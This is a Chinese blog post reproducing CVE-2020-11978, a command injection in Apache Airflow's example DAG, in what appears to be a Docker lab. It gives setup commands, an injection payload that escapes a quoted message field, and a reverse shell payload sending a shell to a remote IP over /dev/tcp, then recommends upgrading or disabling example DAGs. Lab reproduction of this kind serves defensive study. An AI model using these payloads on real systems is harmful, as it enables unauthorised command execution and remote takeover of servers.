Apache Airflow 示例dag中的命令注入(CVE-2020-11978)

before hack

Apache Airflow是一款开源的,分布式任务调度框架。在其1.10.10版本及以前的示例DAG中存在一处命令注入漏洞,未授权的访问者可以通过这个漏洞在Worker中执行任意命令。

由于启动的组件比较多,可能会有点卡,运行此环境可能需要准备2G以上的内存。

Configuration JSON中输入需要执行的命令:

{"message":"'\";你的命令;#"}

我直接就是一个反弹shell

{"message":"'\";sh -i >& /dev/tcp/192.168.110.12/6666 0>&1;#"}

hack it

依次执行如下命令启动airflow 1.10.10:

#初始化数据库
docker compose run airflow-init

#启动服务
docker compose up -d

访问http://your-ip:8080进入airflow管理

端,将example_trigger_target_dag前面的Off改为On:

再点击执行按钮,在Configuration JSON中输入:{"message":"'\";touch /tmp/airflow_dag_success;#"},再点Trigger执行dag:

等一会可以发现执行成功。

到CeleryWorker容器中进行查看:

docker compose exec airflow-worker ls -l /tmp

发现执行成功。

Configuration JSON中输入需要执行的命令:

{"message":"'\";你的命令;#"}

我直接就是一个反弹shell

{"message":"'\";sh -i >& /dev/tcp/192.168.110.12/6666 0>&1;#"}

  • sh -i:启动一个交互式的 shell。
  • >& /dev/tcp/192.168.110.12/6666:将 shell 的标准输出和标准错误输出重定向到指定的 IP 地址和端口号上的远程主机。
  • 0>&1:将 shell 的标准输入重定向到标准输出,即将远程主机的输入流作为 shell 的输入流。
  • ;#:注释符号,确保在执行完命令后不会出现错误。

反弹shell也执行成功!

修复建议

升级至1.10.10版本以上,删除或禁用默认DAG(删除或在配置文件中禁用默认DAGload_examples=False)

posted @ 2024-03-06 14:25  AllFalls  阅读(53)  评论(0编辑  收藏  举报